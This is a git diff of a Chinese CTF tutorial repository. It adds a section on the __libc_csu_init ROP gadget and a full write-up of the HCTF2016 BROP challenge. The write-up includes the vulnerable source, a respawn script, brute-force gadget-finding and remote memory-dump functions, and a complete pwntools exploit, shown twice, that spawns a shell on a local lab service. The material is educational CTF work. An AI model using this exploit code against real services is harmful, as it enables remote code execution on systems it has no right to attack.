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21
doc/4.7_common_gadget.md
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@ -6,8 +6,8 @@
函数 `__libc_csu_init()` 用于对 libc 进行初始化，只要程序调用了 libc，就一定存在这个函数。由于每个版本的 libc 都有一定区别，这里的版本如下： 函数 `__libc_csu_init()` 用于对 libc 进行初始化，只要程序调用了 libc，就一定存在这个函数。由于每个版本的 libc 都有一定区别，这里的版本如下：
``` ```
$ file /usr/lib32/libc-2.26.so $ file /usr/lib/libc-2.26.so
/usr/lib32/libc-2.26.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib32/ld-linux.so.2, BuildID[sha1]=ee88d1b2aa81f104ab5645d407e190b244203a52, for GNU/Linux 3.2.0, not stripped /usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=f46739d962ec152b56d2bdb7dadaf8e576dbf6eb, for GNU/Linux 3.2.0, not stripped
``` ```
下面用 6.1 pwn hctf2016 brop 的程序来做示范，使用 `/r` 参数可以打印出原始指令的十六进制： 下面用 6.1 pwn hctf2016 brop 的程序来做示范，使用 `/r` 参数可以打印出原始指令的十六进制：
``` ```
@ -89,6 +89,21 @@ pop r15 #rdx
ret #跳转到part2 ret #跳转到part2
``` ```
下面附上一个可直接调用的函数：
```python
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0x0) # rbx be 0x0
payload += p64(0x1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg1) # r13 -> edi arg1
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg3) # r15 -> rdx arg3
payload += p64(part2) # part2 entry will call [r12+rbx*0x8]
payload += 'A' * 56 # junk 6*8+8=56
return payload
```
上面的 gadget 是显而易见的，但如果有人精通汇编字节码，可以找到一些比较隐蔽的 gadget，比如将指定一个位移点再反编译： 上面的 gadget 是显而易见的，但如果有人精通汇编字节码，可以找到一些比较隐蔽的 gadget，比如将指定一个位移点再反编译：
``` ```
gdb-peda$ disassemble /r 0x0000000000400831,0x0000000000400835 gdb-peda$ disassemble /r 0x0000000000400831,0x0000000000400835
@ -107,6 +122,8 @@ End of assembler dump.
``` ```
`5e` 和 `5f` 分别是 `pop rsi` 和 `pop rdi` 的字节码，于是我们可以通过这种方法轻易地控制 `rsi` 和 `rdi`。 `5e` 和 `5f` 分别是 `pop rsi` 和 `pop rdi` 的字节码，于是我们可以通过这种方法轻易地控制 `rsi` 和 `rdi`。
在 6.1 pwn hctf2016 brop 的exp中，我们使用了偏移后的 `pop rdi; ret`，而没有用 `com_gadget()` 函数，感兴趣的童鞋可以尝试使用它重写exp。
除了上面介绍的 `__libc_csu_init()`，还可以到下面的函数中找一找： 除了上面介绍的 `__libc_csu_init()`，还可以到下面的函数中找一找：
``` ```
_init _init

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doc/6.1_pwn_hctf2016_brop.md
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# 6.1 pwn hctf2016 brop # 6.1 pwn hctf2016 brop
出题人在 github 上开源了代码，如下： - [题目复现](#题目复现)
- [BROP 原理及题目解析](#brop-原理及题目解析)
- [Exploit](#exploit)
- [参考资料](#参考资料)
## 题目复现
出题人在 github 上开源了代码，[出题人失踪了](https://github.com/zh-explorer/hctf2016-brop)。如下：
```C ```C
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
@ -48,3 +55,541 @@ while true; do
fi fi
done done
``` ```
在一个单独的 shell 中运行它，这样我们就简单模拟出了比赛时的环境，即仅提供 ip 和端口。（不停地断开重连特别耗CPU，建议在服务器上跑）
## BROP 原理和题目解析
BROP 即 Blind ROP，需要我们在无法获得二进制文件的情况下，通过 ROP 进行远程攻击，劫持该应用程序的控制流，可用于开启了 ASLR、NX和栈canaries的 64-bit Linux。这一概念是是在 2014 年提出的，论文和幻灯片在参考资料中。
实现这一攻击有两个必要条件：
1. 目标程序存在一个栈溢出漏洞，并且我们知道怎样去触发它
2. 目标进程在崩溃后会立即重启，并且重启后进程被加载的地址不变，这样即使目标机器开启了 ASLR 也没有影响。
下面我们结合题目来讲一讲。
#### 栈溢出
首先是要找到栈溢出的漏洞，老办法从 1 个字符开始，暴力枚举，直到它崩溃。
```python
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A"*i
buf_size = len(payload) - 1
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
```
```
[*] buffer size: 72
```
要注意的是，崩溃意味着我们覆盖到了返回地址，所以缓冲区应该是发送的字符数减一，即 buf(64)+ebp(8)=72。该题并没有开启canary，所以跳过爆破的过程。
#### stop gadget
在寻找通用 gadget 之前，我们需要一个 stop gadget。一般情况下，当我们把返回地址覆盖后，程序有很大的几率会挂掉，因为所覆盖的地址可能并不是合法的，所以我们需要一个能够使程序正常返回的地址，称作 stop gadget，这一步至关重要。stop gadget 可能不止一个，这里我们之间返回找到的第一个好了：
```python
def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
```
由于我们在本地的守护脚本略简陋，在程序挂掉和重新启动之间存在一定的时间差，所以这里 `sleep(0.1)` 做一定的缓冲，如果还是冲突，在 `except` 进行处理，后面的代码也一样。
```
[*] stop address: 0x4005e5
```
#### common gadget
有了 stop gadget，那些原本会导致程序崩溃的地址还是一样会导致崩溃，但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget，由于是 64 位程序，可以考虑使用通用 gadget（有关该内容请参见章节4.7）：
```python
def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("find address: 0x%x" % addr)
try: # check
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("bad address: 0x%x" % addr)
except:
p.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
```
直接从 stop gadget 的地方开始搜索就可以了。另外，找到一个正常返回的地址之后，需要进行检查，以确定是它确实是通用 gadget。
```
[*] gadget address: 0x40082a
```
有了通用 gadget，就可以得到 `pop rdi; ret` 的地址了，即 gadget address + 9。
#### puts@plt
plt 表具有比较规整的结构，每一个表项都是 16 字节，而在每个表项的 6 字节偏移处，是该表项对应函数的解析路径，所以先得到 plt 地址，然后 dump 出内存，就可以找到 got 地址。
这里我们使用 puts 函数来 dump 内存，比起 write，它只需要一个参数，很方便：
```python
def get_puts_plt(buf_size, stop_addr, gadgets_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret;
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts@plt address: 0x%x" % addr)
p.close()
return addr
log.info("bad: 0x%x" % addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
```
这里让 puts 打印出 `0x400000` 地址处的内容，因为这里通常是程序头的位置（关闭PIE），且前四个字符为 `\x7fELF`，方便进行验证。
```
[*] puts@plt address: 0x4005e7
```
成功找到一个地址，它确实调用 puts，打印出了 `\x7fELF`，那它真的就是 puts@plt 的地址吗，不一定，看一下呗，反正我们有二进制文件。
```
gdb-peda$ disassemble /r 0x4005f0
Dump of assembler code for function puts@plt:
0x00000000004005f0 <+0>: ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018
0x00000000004005f6 <+6>: 68 00 00 00 00 push 0x0
0x00000000004005fb <+11>: e9 e0 ff ff ff jmp 0x4005e0
End of assembler dump.
```
不对呀，puts@plt 明明是在 `0x4005f0`，那么 `0x4005e7` 是什么鬼。
```
gdb-peda$ pdisass /r 0x4005e7,0x400600
Dump of assembler code from 0x4005e7 to 0x400600:
0x00000000004005e7: 25 24 0a 20 00 and eax,0x200a24
0x00000000004005ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0x00000000004005f0 <puts@plt+0>: ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018
0x00000000004005f6 <puts@plt+6>: 68 00 00 00 00 push 0x0
0x00000000004005fb <puts@plt+11>: e9 e0 ff ff ff jmp 0x4005e0
End of assembler dump.
```
原来是由于反汇编时候的偏移，导致了这个问题，当然了前两句对后面的 puts 语句并没有什么影响，忽略它，在后面的代码中继续使用 `0x4005e7`。
#### remote dump
有了 puts，有了 gadget，就可以着手 dump 程序了：
```python
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
#print result.encode('hex')
sleep(0.1)
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info("Can't connect")
return result
```
我们知道 puts 函数通过 `\x00` 进行截断，并且会在每一次输出末尾加上换行符 `\x0a`，所以有一些特殊情况需要做一些处理，比如单独的 `\x00`、`\x0a` 等，首先当然是先去掉末尾 puts 自动加上的 `\n`，然后如果 recv 到一个 `\n`，说明内存中是 `\x00`，如果 recv 到一个 `\n\n`，说明内存中是 `\x0a`。`p.recv(timeout=0.1)` 是由于函数本身的设定，如果有 `\n\n`，它很可能在收到第一个 `\n` 时就返回了，加上参数可以让它全部接收完。
这里选择从 `0x400000` dump到 `0x401000`，足够了，你还可以 dump 下 data 段的数据，大概从 `0x600000` 开始。
#### puts@got
拿到 dump 下来的文件，使用 Radare2 打开，使用参数 `-B` 指定程序基地址，然后反汇编 `puts@plt` 的位置 `0x4005e7`，当然你要直接反汇编 `0x4005f0` 也行：
```
$ r2 -B 0x400000 code.bin
[0x00400630]> pd 14 @ 0x4005e7
:::: 0x004005e7 25240a2000 and eax, 0x200a24
:::: 0x004005ec 0f1f4000 nop dword [rax]
:::: 0x004005f0 ff25220a2000 jmp qword [0x00601018] ; [0x601018:8]=-1
:::: 0x004005f6 6800000000 push 0
`====< 0x004005fb e9e0ffffff jmp 0x4005e0
::: 0x00400600 ff251a0a2000 jmp qword [0x00601020] ; [0x601020:8]=-1
::: 0x00400606 6801000000 push 1 ; 1
`===< 0x0040060b e9d0ffffff jmp 0x4005e0
:: 0x00400610 ff25120a2000 jmp qword [0x00601028] ; [0x601028:8]=-1
:: 0x00400616 6802000000 push 2 ; 2
`==< 0x0040061b e9c0ffffff jmp 0x4005e0
: 0x00400620 ff250a0a2000 jmp qword [0x00601030] ; [0x601030:8]=-1
: 0x00400626 6803000000 push 3 ; 3
`=< 0x0040062b e9b0ffffff jmp 0x4005e0
```
于是我们就得到了 puts@got 地址 `0x00601018`。可以看到该表中还有其他几个函数，根据程序的功能大概可以猜到，无非就是 setbuf、read 之类的，在后面的过程中如果实在无法确定 libc，这些信息可能会有用。
#### attack
后面的过程和无 libc 的利用差不多了，先使用 puts 打印出其在内存中的地址，然后在 libc-database 里查找相应的 libc，也就是目标机器上的 libc，通过偏移计算出 `system()` 函数和字符串 `/bin/sh` 的地址，构造 payload 就可以了。
```python
def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
pop_rdi = gadgets_addr + 9
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + '\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
```
```
[*] puts address: 0x7ffff7a90210
```
这里插一下 [libc-database](https://github.com/niklasb/libc-database) 的用法，由于我本地的 libc 版本比较新，可能未收录，就直接将它添加进去好了：
```
$ ./add /usr/lib/libc-2.26.so
Adding local libc /usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570 /usr/lib/libc-2.26.so)
-> Writing libc to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.so
-> Writing symbols to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.symbols
-> Writing version info
```
然后查询（ASLR 并不影响后 12 位的值）：
```
$ ./find puts 210
/usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570)
$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
offset___libc_start_main_ret = 0x20f6a
offset_system = 0x0000000000042010
offset_dup2 = 0x00000000000e8100
offset_read = 0x00000000000e7820
offset_write = 0x00000000000e78c0
offset_str_bin_sh = 0x17aff5
$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
offset_puts = 0x000000000006f210
```
```python
offset_puts = 0x000000000006f210
offset_system = 0x0000000000042010
offset_str_bin_sh = 0x17aff5
system_addr = (puts_addr - offset_puts) + offset_system
binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh
# get shell
payload = "A"*buf_size
payload += p64(gadgets_addr + 9) # pop rdi; ret;
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.interactive()
```
Bingo!!!
```
$ python2 exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ whoami
firmy
```
## Expolit
完整的 exp 如下，其他文件放在了github相应文件夹中：
```python
from pwn import *
#context.log_level = 'debug'
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A"*i
buf_size = len(payload) - 1
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("find address: 0x%x" % addr)
try: # check
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("bad address: 0x%x" % addr)
except:
p.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def get_puts_plt(buf_size, stop_addr, gadgets_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret;
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts@plt address: 0x%x" % addr)
p.close()
return addr
log.info("bad: 0x%x" % addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
#print result.encode('hex')
sleep(0.1)
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info("Can't connect")
return result
def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
pop_rdi = gadgets_addr + 9
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + '\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
#buf_size = get_buffer_size()
buf_size = 72
#stop_addr = get_stop_addr(buf_size)
stop_addr = 0x4005e5
#gadgets_addr = get_gadgets_addr(buf_size, stop_addr)
gadgets_addr = 0x40082a
#puts_plt = get_puts_plt(buf_size, stop_addr, gadgets_addr)
puts_plt = 0x4005e7 # fake puts
#puts_plt = 0x4005f0 # true puts
# dump code section from memory
# and then use Radare2 or IDA Pro to find the got address
#start_addr = 0x400000
#end_addr = 0x401000
#code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('code.bin', 'wb') as f:
# f.write(code_bin)
# f.close()
puts_got = 0x00601018
# you can also dump data from memory and get information from .got
#start_addr = 0x600000
#end_addr = 0x602000
#data_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('data.bin', 'wb') as f:
# f.write(data_bin)
# f.close()
# must close ASLR
#puts_addr = get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got)
puts_addr = 0x7ffff7a90210
# first add your own libc into libc-database: $ ./add /usr/lib/libc-2.26.so
# $ ./find puts 0x7ffff7a90210
# or $ ./find puts 210
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
# then you can get the following offset
offset_puts = 0x000000000006f210
offset_system = 0x0000000000042010
offset_str_bin_sh = 0x17aff5
system_addr = (puts_addr - offset_puts) + offset_system
binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh
# get shell
payload = "A"*buf_size
payload += p64(gadgets_addr + 9) # pop rdi; ret;
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.interactive()
```
## 参考资料
- [Blind Return Oriented Programming (BROP)](http://www.scs.stanford.edu/brop/)
- [Blind Return Oriented Programming (BROP) Attack (1)](http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/)

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src/writeup/6.1_pwn_hctf2016_brop/a.out Executable file
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src/writeup/6.1_pwn_hctf2016_brop/code.bin Normal file
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src/writeup/6.1_pwn_hctf2016_brop/exp.py Normal file
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from pwn import *
#context.log_level = 'debug'
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A"*i
buf_size = len(payload) - 1
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("find address: 0x%x" % addr)
try: # check
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("bad address: 0x%x" % addr)
except:
p.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def get_puts_plt(buf_size, stop_addr, gadgets_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret;
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts@plt address: 0x%x" % addr)
p.close()
return addr
log.info("bad: 0x%x" % addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
#print result.encode('hex')
sleep(0.1)
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info("Can't connect")
return result
def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
pop_rdi = gadgets_addr + 9
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + '\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
#buf_size = get_buffer_size()
buf_size = 72
#stop_addr = get_stop_addr(buf_size)
stop_addr = 0x4005e5
#gadgets_addr = get_gadgets_addr(buf_size, stop_addr)
gadgets_addr = 0x40082a
#puts_plt = get_puts_plt(buf_size, stop_addr, gadgets_addr)
puts_plt = 0x4005e7 # fake puts
#puts_plt = 0x4005f0 # true puts
# dump code section from memory
# and then use Radare2 or IDA Pro to find the got address
#start_addr = 0x400000
#end_addr = 0x401000
#code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('code.bin', 'wb') as f:
# f.write(code_bin)
# f.close()
puts_got = 0x00601018
# you can also dump data from memory and get information from .got
#start_addr = 0x600000
#end_addr = 0x602000
#data_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('data.bin', 'wb') as f:
# f.write(data_bin)
# f.close()
# must close ASLR
#puts_addr = get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got)
puts_addr = 0x7ffff7a90210
# first add your own libc into libc-database: $ ./add /usr/lib/libc-2.26.so
# $ ./find puts 0x7ffff7a90210
# or $ ./find puts 210
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
# then you can get the following offset
offset_puts = 0x000000000006f210
offset_system = 0x0000000000042010
offset_str_bin_sh = 0x17aff5
system_addr = (puts_addr - offset_puts) + offset_system
binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh
# get shell
payload = "A"*buf_size
payload += p64(gadgets_addr + 9) # pop rdi; ret;
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.interactive()

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src/writeup/6.1_pwn_hctf2016_brop/main.c Executable file
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#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

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src/writeup/6.1_pwn_hctf2016_brop/run.sh Executable file
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#!/bin/sh
while true; do
num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
if [ $num -lt 5 ]; then
socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &
fi
done

0
src/writeup/init.md
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